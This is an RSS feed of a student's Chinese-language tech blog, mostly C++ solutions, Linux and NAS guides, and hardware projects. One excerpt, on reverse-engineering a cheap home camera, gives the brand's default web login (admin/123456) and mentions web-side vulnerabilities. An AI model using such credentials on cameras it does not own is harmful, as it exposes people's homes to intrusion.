signed main ()
{
    int n,m;
    cin&gt;&gt;n&gt;&gt;m;
    vector&lt;int&gt;temp1,temp2;
    for (int i = 0; i&lt;n; i++) {
        int t;
        cin&gt;&gt;t;
        temp1.push_back(t);
   …]]></description>
            </item>
  <item>
            <title><![CDATA[e826 C++ map解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/e826/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/e826/</guid>
            <pubDate>Sun, 07 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int n,m;
    cin&gt;&gt;n&gt;&gt;m;
    map&lt;int, int&gt;num;
    for (int i = 0; i&lt;n; i++) {
        num[i] = 0;
    }
    for (int i = 0; i&lt;m; i++) {
        int x,y;
        cin&gt;&gt;x&gt;&gt;y;
        num[x]+=y;
   …]]></description>
            </item>
  <item>
            <title><![CDATA[逆向我家監視器（hd ipc)]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2025_12_6/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2025_12_6/</guid>
            <pubDate>Sat, 06 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[便宜的監視器，真是一個危險的東西
近日由我爸購買了一個新的監視器，這監視器叫做：雅视威YESTV，反正就是一個連聽都沒聽過的東西。
不上網查還不知道，一旦上網查嚇一跳
WEB端漏洞
現在的監視器都有網頁端的管理頁面，只要輸入ip就可以登入

現在有個問題？密碼是啥？說明書可沒說
再經過瘋狂的查找google得出是admin/123456就就可以
https://www.foros-it.com/tema/camara-china.77011/
但是，如果我告訴你不用那麼麻煩？
根據https://seuck.blogspot.com/2019/05/telecamere-ip-con-acce…]]></description>
            </item>
  <item>
            <title><![CDATA[2025_12_4]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/20251207/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/20251207/</guid>
            <pubDate>Sat, 06 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[
不然有「合法」的密碼破解器喔？
]]></description>
            </item>
  <item>
            <title><![CDATA[o077. 2. 電子畫布C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/o077/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/o077/</guid>
            <pubDate>Sat, 06 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int h,w,n;
    cin&gt;&gt;h&gt;&gt;w&gt;&gt;n;
    vector&lt;vector&lt;int&gt;&gt;map(h,vector&lt;int&gt;(w,0));
    for (int i = 0; i&lt;n; i++) {
        int r,c,t,x;
        cin&gt;&gt;r&gt;&gt;c&gt;&gt;t&gt;&gt;x;
        for …]]></description>
            </item>
  <item>
            <title><![CDATA[2025_12_4]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2025_12_4/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2025_12_4/</guid>
            <pubDate>Thu, 04 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[或許？之後要不要把blog的個人紀錄跟技術類（解題、技術）文章分開？？但還是有點懶，就先這樣好了
想不到，這段高二的生活這麼的煩，和充滿了許多無奈，不管是課業還是在程式上，又或是社團
到底為什麼我被抓去當社長，我都懷疑我是全校最糟糕的社團
到底是哪個老師食言？
到底為什麼我拼死活救物理，數學給我爆掉？（到底是哪個物理老師，教的非常好）
到底為什麼我不怎麼會解題？還說我志向是資工的
但......原地想這些有什麼用，這些東西不處理，後面更難處理，至少我抗壓性還不錯？我都沒憂鬱、躁鬱之類的
一直很羨慕，那些網路上有自己blog的高中生，他們都很有成就感的，很令人  我也不知道怎麼講，反正自行體會
…]]></description>
            </item>
  <item>
            <title><![CDATA[G732 尋找中位數(智障解法)]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/g732/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/g732/</guid>
            <pubDate>Sat, 22 Nov 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;algorithm&gt;
#include &lt;cstdio&gt;
#pragma GCC optimize("O3,Ofast,unroll-loops")
#pragma GCC target("avx2")
using namespace std;
short num[5000001];
int main() {
    int a;
    scanf("%d", &amp;a);
    for(int i = 0; i &lt; a; i++) {
        scanf("%hd", &amp;num[i]);
    }
    nth_e…]]></description>
            </item>
  <item>
            <title><![CDATA[r488 APCS解題紀錄]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/r488/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/r488/</guid>
            <pubDate>Fri, 21 Nov 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[我想法比較直觀一點，別人解答似乎比較常用兩個array
#include &lt;bits/stdc++.h&gt;
using namespace std;
struct hit {
    int a,b,s,d;
};
vector&lt;int&gt; find_index(vector&lt;pair&lt;int, int&gt;&gt;t,int x,int y)
{
    vector&lt;int&gt;temp;
    int i = 0;
    for (auto h  : t) {
        if (h.first == x &amp;&amp; h.sec…]]></description>
            </item>
  <item>
            <title><![CDATA[達芬奇 Debian/Ubuntu 安裝教學 &amp; Intel GPU]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/Davinci_Resolve/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/Davinci_Resolve/</guid>
            <pubDate>Fri, 12 Sep 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[明明想用開源的Kdenlive但奈何這東西太少資源，所以偷偷違反一下自由軟體的精神，裝一下達芬奇
安裝
請參考https://www.dedoimedo.com/computers/davinci-resolve-ubuntu-24-04.html ，該篇使用CC BY-NC-ND 4.0，原網站：Dedoimedo，作者：Igor Ljubuncic
（可能之後聯絡作者請求授權翻譯？）
這篇是我非常推薦的文章，真的能安裝和執行，中文太少人寫這個了
Intel GPU
由於我使用Intel GPU，普通情況下來說OpenCL是沒辦法讀取的(至少網路上沒多少人說Intel可以跑Davinci)，…]]></description>
            </item>
  <item>
            <title><![CDATA[師大程式先修心得與自我總結]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/Prerequisites/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/Prerequisites/</guid>
            <pubDate>Fri, 12 Sep 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[自己總是抱著一本20年前的C++教學書在學程式，該是時候找人學程式了LOL
從哪裡看到這東西的？
我目前所處的學校是沒有這類的消息，就不管啥領域都沒有這消息（偷偷抱怨，都把資源給資優班），所以我覺得如果想要參加比賽，或是之類的課程，可能靠自己會比較好
說回來到這個參加資訊，這課程官方名稱是「大學程式設計先修課程」，由師大那邊主辦的，免費的課程，還有實體的參與證書，在官網會有廣告欄位

註：我當下寫此篇是秋季班
小簡介
參加條件
至少APCS 2/2，建議3/2以上，目標4,5以上
證書取得條件
練習題裡面80題，其中AC 40題以上，並且請假和曠課不超過兩次
（我當時暑期班是這樣，請依照官網為…]]></description>
            </item>
  <item>
            <title><![CDATA[瀏覽器密碼真得安全嗎？]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/Security-browser-password/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/Security-browser-password/</guid>
            <pubDate>Fri, 29 Aug 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[在用電腦桌面端的瀏覽器密碼紀錄，有想過安全嗎？
瀏覽器密碼是怎麼存的？
先看到Firefox官方文檔：
Firefox 桌面版通过您用户配置文件目录中的 logins.json 文件加密并本地储存您的密码。Firefox 桌面版使用简单的加密技术来保护您的密码。Mozilla 并没有查看您密码的能力，但是 Firefox 桌面版会在本地解密密码，以便可以在网站表单字段中输入密码。 

本地加解密，這就是問題的地方，雖說瀏覽器內部存處都是加密，但是解密的密碼是「明文存儲」！目前不管是Chrome,Chromium,Safri,Firefox都是這樣存密碼的。
其他瀏覽器方法如下：

Chrome…]]></description>
            </item>
  <item>
            <title><![CDATA[intel A380體驗，說好的老電腦？]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/intel_a380/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/intel_a380/</guid>
            <pubDate>Thu, 14 Aug 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[intel A380為intel ARC系列中最低端的顯卡，基本上性能只能持平GTX 1650，那或許你有疑問，買這要幹麼？？
原因?很簡單阿，便宜又有AV1的邊解碼，以往4000元以內全新卡，你只能買到GT 1030，但現在你不用升級電源，就可以升級顯卡，由於又有強大的邊解碼性能，所以被一堆媒體說「升級老電腦」的卡，所以我也買了一張試試看。
重要：使用這顯卡要resizable bar
平台限制？
根據Intel 官方，ARC最佳平台為10代以後的CPU，但我CPU是i5 9400，正當我想說沒差還是下單，到家才發現沒反應？？蜂鳴器叫的編號是顯示卡問題，所以我就這樣反覆試5次，才意識到是平台…]]></description>
            </item>
  <item>
            <title><![CDATA[NAS使用過程]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/NAS使用過程/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/NAS使用過程/</guid>
            <pubDate>Thu, 07 Aug 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[這篇算是紀錄我自組NAS的過程，算是自我的紀錄
過程
在去年暑假，我自己從各地撿垃圾，拼湊出了我的NAS，但是主機板用的是最丐的H板，連電源供應器是二手的，但之所以這樣挑看底下的使用習慣就知道了，除了我自己使用習慣，我有不得不說一件事，「沒錢」所以就便宜解決(也是這樣所以我不可能會分享硬體YT或之類的,LOL)，也是這樣之後硬體也差點搞死我
使用習慣
我本身的資料量本來就很小，我沒有照片，大多也是小時候的10GB左右的照片，我桌機1TB的硬碟我也只用200GB而已，所以我根本不需要存儲設備，我需要的是Home server，可以跑adguard home,immich,mail server,…]]></description>
            </item>
  <item>
            <title><![CDATA[Fedora kinoite體驗]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/Fedora_kinoite/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/Fedora_kinoite/</guid>
            <pubDate>Mon, 28 Jul 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[前陣子搞加密swap，不小心把我筆電Kubuntu搞爆了，所以尋找下一個linux發行版，以下是我對發行版的期望


不要默認使用snap（snap還是有點難用）


KDE plasma 6


能日常使用


無超級大系統bug，讓我沒辦法用
對snap的小抱怨
之前使用ubntu server，直接在安裝畫面裝docker，結果竟然是用snap裝，害我要去解決AppArmor的奇怪問題，所以我是真的不想用snap（但是我沒有說我不用容器）
考慮的系統
參考KDE的網站，挑選出：


KDE NEON (雖然隨便用就有Bug但至少能用)


openSUSE


Fedora


Arch…]]></description>
            </item>
  <item>
            <title><![CDATA[DFS筆記]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/DFS/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/DFS/</guid>
            <pubDate>Thu, 10 Jul 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[DFS  核心：將上下左右都走一遍，走到出口，沒走到-&gt;回去，LOL
程式核心
移動
int dx[4] = {-1,1,0,0};

int dy[4] = {0,0,-1,1};

x,y分別上下增加值(4次迴圈)
nx += dx[i];
ny += dy[i];

檢測
nx&gt;=0&amp;&amp;ny&gt;=0&amp;&amp;nx&lt;p&amp;&amp;ny&lt;p&amp;&amp;num[nx][ny] ==0 &amp;&amp; !check[nx][ny]

邏輯：nx,ny不超過邊界、不小於0、沒走過+可以走
走到終點結束
開始


原始陣列
…]]></description>
            </item>
  <item>
            <title><![CDATA[使用fail2ban防禦filebrowser破解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/fail2ban/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/fail2ban/</guid>
            <pubDate>Tue, 08 Jul 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[我家的nas是用file browser為網頁瀏覽器，然後是用tailscale funnel進行外網穿透，可是這樣就有問題了，file browser的密碼驗證界面滿陽春的，不像nextcloud有自動封鎖的功能，然而用使用者驗證像cloudflare tunnel那樣又感覺麻煩，真的很怕哪天我的nas變成別人的蜜罐，這我可不希望有這種事發生，所以這篇我使用fail2ban來預防這種事。
fail2ban
fail2ban是一種linux防禦系統，透過檢測系統紀錄，是否有包含多次的密碼輸入錯誤，並封鎖該IP的所有連線
開始部屬
docker
我使用docker部屬file browser，所…]]></description>
            </item>
  <item>
            <title><![CDATA[C++筆記_0708]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/lambda/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/lambda/</guid>
            <pubDate>Tue, 08 Jul 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[lambda
[](傳入內部參數)-&gt;return_type{
    條件
}

return_type在C++14後省略

sort

sort(num.begin(),num.end(),[](int a,int b)
{
    return a &gt; b;
});

a &gt; b (降)
a &lt; b (升)

變數

auto add = [](int a, int b) {
    return a + b;
};

std::cout &lt;&lt; add(2, 3);  // 輸出 5

STL函數和lambda
for each(同等for迴圈輸出)
…]]></description>
            </item>
  <item>
            <title><![CDATA[c295解法]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/c295/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/c295/</guid>
            <pubDate>Sun, 22 Jun 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;algorithm&gt;
#include &lt;cstdlib&gt;
#include &lt;iostream&gt;
#include &lt;vector&gt;
using namespace std;
int main ()
{
    int a =0;
    int b =0;
    cin&gt;&gt;a&gt;&gt;b;
    vector&lt;vector&lt;int&gt;&gt; num(a, vector&lt;int&gt;(b));
    for(int i =0;i&lt;a;i++)
    {
       …]]></description>
            </item>
  <item>
            <title><![CDATA[C292數字龍捲風C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/C929/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/C929/</guid>
            <pubDate>Sun, 22 Jun 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;iostream&gt;
#include &lt;vector&gt;
using namespace std;
int dx[4] = {0, -1, 0, 1};  
int dy[4] = {-1, 0, 1, 0};  
int main ()
{
    int n;
    int d;
    cin&gt;&gt;n&gt;&gt;d;
    vector&lt;vector&lt;int&gt;&gt;num(n,vector&lt;int&gt;(n));
    for (int i = 0;i&lt;n;i++) {
        for…]]></description>
            </item>
  <item>
            <title><![CDATA[k731路徑偵測(C++):不會數學的解法]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/k731/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/k731/</guid>
            <pubDate>Sat, 14 Jun 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[不會數學的解法
Sample:
Sample Input #2

9  
4 0
4 9
4 8
4 10
4 2
4 3
6 3
6 10
6 9

Sample Output #2

2 1 5

先建立所有方向的表：

東(右) → 北(上)：左轉
北(上) → 西(左)：左轉
西(左) → 南(下)：左轉
南(下) → 東(右)：左轉
東(右) → 南(下)：右轉
南(下) → 西(左)：右轉
西(左) → 北(上)：右轉
北(上) → 東(右)：右轉
東(右) → 西(左)：迴轉
西(左) → 東(右)：迴轉
北(上) → 南(下)：迴轉
南(下) → 北(上)：迴轉

順時針轉90…]]></description>
            </item>
  <item>
            <title><![CDATA[c636十二生肖]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/c636/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/c636/</guid>
            <pubDate>Fri, 13 Jun 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;iostream&gt;
using namespace std;
class couut {
    public:
    void num(int a)
    {
        if (a &lt; 0) {
            a = -1 * a;     
            a = a % 12;     
            a = 13 - a;     
        }
        int index = a % 12;
        n(index);
    }
    void n(int d)
    {
    …]]></description>
            </item>
  <item>
            <title><![CDATA[初次CTF體驗]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/flag_first/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/flag_first/</guid>
            <pubDate>Sat, 07 Jun 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[最近自己試試解CTF的題目，原本以為自己解不出來，但是解過底下幾題，才發現其實很有趣XD，這根本跟程式解題根本不同，很好玩
(反正數學爛+不會解圖論，嗚嗚嗚)
使用picoCTF
FANTASY CTF
這題是我第一題的CTF，這題目應該很簡單，輸入題目的指令，再按照故事完成，只不過我的「英文」要加強就是了(這題目其實是教你picoCTF的規則）
Super SSH
有用過SSH嗎？這題造著題目是連線至SSH就行了，但是我使用的SSH通常是默認22端口，所以用 -p 連線到port就行了
Binary Search
顧名思義，就是猜數字，用2分搜尋法，但是自己卻在途中「腦袋打結」XDd
Ins…]]></description>
            </item>
  <item>
            <title><![CDATA[自製簡單AI文字分類]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/machine_learning/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/machine_learning/</guid>
            <pubDate>Tue, 13 May 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[這次是我第一次踏入機器學習，此次的小project：正負面文字分類。程式使用python+Scikit-learn，這次可以說是超簡單了，原本以為機器學習可能要打一大堆的code，結果發現意外的簡單。
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB
from sklearn.pipeline import make_pipeline
texts = [
    "我很喜歡這產品",
    "這太糟了，我要退貨",
    "客服很…]]></description>
            </item>
  <item>
            <title><![CDATA[I Built a p5.js Game from a Hack Club Workshop!]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/game/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/game/</guid>
            <pubDate>Sat, 10 May 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[This is the first I joining hack club, and I discovered the Dodge Game Workshop. I followed the tutorial to build a simple game and then use Chatgpt to add scoring system. This my first HTML project-and I have fun with it.
Here's my project Game












]]></description>
            </item>
  <item>
            <title><![CDATA[TQC+ C++考試心得]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/TQC+/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/TQC+/</guid>
            <pubDate>Sat, 10 May 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[最新註解:我覺得這篇文章我好像塞太多個人意見，但反正這倒是真的，反正就給你參考吧，然後觀點著重在我是「高中生」
我是個想考APCS的高中生，學校之前有TQC+的活動，但可惜的是我沒報上（高二優先），所以我打算自己考，然後我擅長的是C++，於是我報考軟體設計領域程式語言C++，想說示範卷很簡單的，結果考試當天問題一大堆，所以這篇我想分享經過（網路上對C++的檢測實在太少人了，所以想說給個參考）
前面的過程
我報名場地是巨X電腦，然後我就在考試之前就拿到試題卷了（考方許可的外掛），我也看到一大堆人就在看考題了（但可惜的是我還剩下3分鐘，所以外掛我沒開成），到考場時主考官叫我們選電腦坐，我就剛好選到…]]></description>
            </item>
  <item>
            <title><![CDATA[o076特技表演C++簡單解法]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/o076/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/o076/</guid>
            <pubDate>Fri, 02 May 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;algorithm&gt;
#include &lt;cmath&gt;
#include&lt;iostream&gt;
#include &lt;vector&gt;
using namespace std;
bool check (int a,int b)
{
        if(a &lt;= b)
        {
            return false;
        } else {
            return true;
        }
}
int main ()
{
    int a=0;
    cin&gt;&gt…]]></description>
            </item>
  <item>
            <title><![CDATA[c200. 車牌等級題解Ｃ++]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2025_4_8/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2025_4_8/</guid>
            <pubDate>Fri, 18 Apr 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;cctype&gt;
#include &lt;cmath&gt;
#include &lt;iostream&gt;
#include &lt;vector&gt;
using namespace std;

int main() {
    int y = 0;
    cin &gt;&gt; y;
    vector&lt;int&gt; num;

    for (int i = 0; i &lt; y; i++) {
        string h;
        cin &gt;&gt; h;

        for (int i = 0; i…]]></description>
            </item>
  <item>
            <title><![CDATA[輕鬆解決機械鍵盤故障]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/fix_w_key/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/fix_w_key/</guid>
            <pubDate>Fri, 28 Mar 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[前言
最近玩線上遊戲時發現，奇怪怎麼角色前進不了？後來經過排查後發現，W鍵壞掉？！怎麼剛好壞W鍵？

使用鍵盤：

黑軸
連看都沒看過的品牌某五彩繽紛電子花車黑軸鍵盤 （難怪會壞）

嘗試前工具

酒精
牙籤
剪刀或可以拔鍵帽的東西

開始
重要：關閉鍵盤電源

拔鍵帽
牙籤沾點酒精
用牙籤搓像底下這樣

試試是否解決吧！

如果不行？
聽說能用WD40，但用壞我可不負責












]]></description>
            </item>
  <item>
            <title><![CDATA[自製行動電源教學！！]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/DIY_Battry/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/DIY_Battry/</guid>
            <pubDate>Mon, 24 Feb 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[這篇教你自製行充！！
據我的電子了解中，行動電源就只是幾顆電池+電路板嘛，簡簡單單，但之後買材料才發現學問真多......

自製方式有底下兩種
簡單但性價比低
材料準備

18650電池
註：電池還是一分錢一分貨，不可能買便宜的還可以買到正版電池，但如果要追求極致性價比，或許30塊一顆3200mAH的電池還不錯？(不要搞到燒起來就好:&gt;）
行充盒

買底下這個就可以了

組裝方式
就打開插入電池還要我教你喔！
追求DIY
材料準備

18650電池
一樣一分錢一分貨
行充電路板

18650電池盒

-&gt; 重要重要，若你沒有點焊機，麻煩你買電池盒，不要像我買了板子才發現要怎麼焊，…]]></description>
            </item>
  <item>
            <title><![CDATA[教學--html製作導航網站]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/教學-html製作導航網站/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/教學-html製作導航網站/</guid>
            <pubDate>Tue, 21 Jan 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[簡單教你如何用html製作個人的導航網站!
準備

網域名(免費可以用us.kg)(可選)
Vercel
安裝npm

首頁
底下是首頁基本程式碼(index.html)
(記得更改成你要的網站樣式)
&lt;!DOCTYPE html&gt;
&lt;html lang="zh-Hant"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;title&gt;網站名稱&…]]></description>
            </item>
  <item>
            <title><![CDATA[不知名的隨手紀錄的東西？—2025年紀錄]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2025/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2025/</guid>
            <pubDate>Sat, 11 Jan 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[7/1
第一次的APCS 2/2，再繼續加油吧，下次要4/4的
1/11
多元選修課要繳交期末報告，我是使用libreoffce，所以檔案是.odp，結果我放上classroom繳交時，老師底下留言告訴我:.odp是啥，為啥開不起來，我回答因為我使用libreoffice，不是使用MS office，之後他說以後大學要注意不能這樣要存.pptx，痾..不是...我用開源軟體和.odp哪裡錯了












]]></description>
            </item>
  <item>
            <title><![CDATA[f313 2. 人口遷移 C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/f313/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/f313/</guid>
            <pubDate>Thu, 02 Jan 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int R,C,p,m;
    cin&gt;&gt;R&gt;&gt;C&gt;&gt;p&gt;&gt;m;
    vector&lt;vector&lt;int&gt;&gt;num(R,vector&lt;int&gt;(C));
    for (int i = 0; i&lt;R; i++) {
        for (int j = 0; j&lt;C; j++) {
            cin&gt;&gt;num[i][j];
…]]></description>
            </item>
  <item>
            <title><![CDATA[Truenas使用compose教學]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/Truenas使用docker教學/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/Truenas使用docker教學/</guid>
            <pubDate>Mon, 23 Dec 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[
	atOptions = {
		'key' : '34cc9cdc1485e1ef477da647218111aa',
		'format' : 'iframe',
		'height' : 250,
		'width' : 300,
		'params' : {}
	};

Truenas scale 官方可沒有提供方便的方式部屬Docker compose，再加上最新版的系統是不支援TrueCharts，想要裝Truenas官方沒提供的，只能用container或dockage了，可是要用compose又不太友好，所以我想到了方法來用compose，接者來看我教學吧！

使用時注意腳本…]]></description>
            </item>
  <item>
            <title><![CDATA[教學～來把不用的電腦變成NAS]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/use-Truenas/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/use-Truenas/</guid>
            <pubDate>Thu, 12 Dec 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[如果你手邊剛好有不用的電腦，試試安裝truenas吧！truenas是個可以讓你的電腦變成nas的作業系統，且完全免費，使用上的體驗完全不輸市面上品牌nas，這麽好的系統，你還不安裝嗎？

NAS可以有的功能
屬於自己的雲端、雲端相簿、雲端音樂、家庭媒體中心、遠端下載機，你還不心動嗎？


↑plex家庭媒體
但是缺點…
由於大部分拿來當自架nas的硬體都是2手的，所以你要自己排錯，再加上學習成本極高
軟體簡介

開發者：ixsystems
開源狀態（條款）：BSD(除了TrueNAS Enterprise）
各版本介紹：

TrueNAS CORE
基於freebsd打造，本身比較少功能(例…]]></description>
            </item>
  <item>
            <title><![CDATA[好用的單字卡app_Ankidroid]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/好用的單字卡app-Ankidroid/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/好用的單字卡app-Ankidroid/</guid>
            <pubDate>Wed, 04 Dec 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[在尋找好用的背單字app嗎？推薦個好用的app anikidroid

anikidroid是個單字卡app，可以讓你方便使用手機或電腦，不管到哪都可以輕鬆背單字，且anikidroid可以從系統上下載別人提供的單字卡(例如:高中英文單字、toeic單字)，直接使用別人提供的單字卡，甚至不用自己打單字。

軟體資訊

軟體名:anikidroid
支援系統:windows,Linux,Macos,android,IOS
開源狀態:(ios是閉源狀態)


GPL-3.0 License
AGPL-3.0 Licence for some part of the back-end
LGPL-3.…]]></description>
            </item>
  <item>
            <title><![CDATA[教你解決被ESET誤判的網站]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/教你解決被ESET誤判的網站/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/教你解決被ESET誤判的網站/</guid>
            <pubDate>Fri, 15 Nov 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[今天在使用學校電腦時，瀏覽看看自己的網站，發現eset竟然把我的網站標記成病毒網站？
（學校機關喜歡用eset)
不是吧！我的網站會有可疑代碼？使用了線上掃描URL，可以
確定基本上是誤判了
(只有eset有反應）


所以這篇教你如何把你的網站移除黑名單
教學
首先擷取你被eset封鎖的畫面，之後寄一封email給
samples@eset.com
標題：Domain whitelist - 你的網址
email 內容
尊敬的 ESET 支援團隊，
您好！
我希望能就我的網站被 ESET 誤判為潛在威脅的情況，請求貴公司進行進一步的檢查。具體的網站資訊如下：

被屏蔽的網站: 網址
誤報原因…]]></description>
            </item>
  <item>
            <title><![CDATA[教學用esp32做出環形LED時鐘]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/clock/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/clock/</guid>
            <pubDate>Thu, 14 Nov 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[本篇教你用WS2812和esp32做出環形時鐘
成品：影片示意
所需材料

esp32 c3 mini
WS2812(所需燈珠共60顆，可用15顆環形×4如下圖）

時鐘底部(也可以不用，但是要想要如何放置）

基本焊接工具
電腦


製作開始

先將WS2812連結成60顆
WS2812有3個pin，分別是正極(VCC)，Din，負極(GND)
-&gt;先把4片的3個pin連起來（留下一處給esp32)
（如果已經是60顆環形版本，直接跳過）
把正極連上GPIO 5V，負極連上GPIO GND，Din連上GPIO 5 （esp32)
（你可以用焊錫把pin連在一起，但我建議用排針焊）

將…]]></description>
            </item>
  <item>
            <title><![CDATA[教學—把不是Ubuntu系統識別成Ubuntu]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/教學—把不是Ubuntu系統識別成Ubuntu/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/教學—把不是Ubuntu系統識別成Ubuntu/</guid>
            <pubDate>Sat, 02 Nov 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[
	atOptions = {
		'key' : '34cc9cdc1485e1ef477da647218111aa',
		'format' : 'iframe',
		'height' : 250,
		'width' : 300,
		'params' : {}
	};

註：請勿隨意調整系統文件，更改之前請做好備份
目前我使用的系統是tuxedo os，安裝了zerotier，卻顯示系統要Ubuntu系統才能執行，可是Tuxedo os理論上是基於Debian系統，那如果把系統的文件修改為Ubuntu，不就能執行了!
修改步驟
輸入這個命令，打開編輯器，會看到底下這個
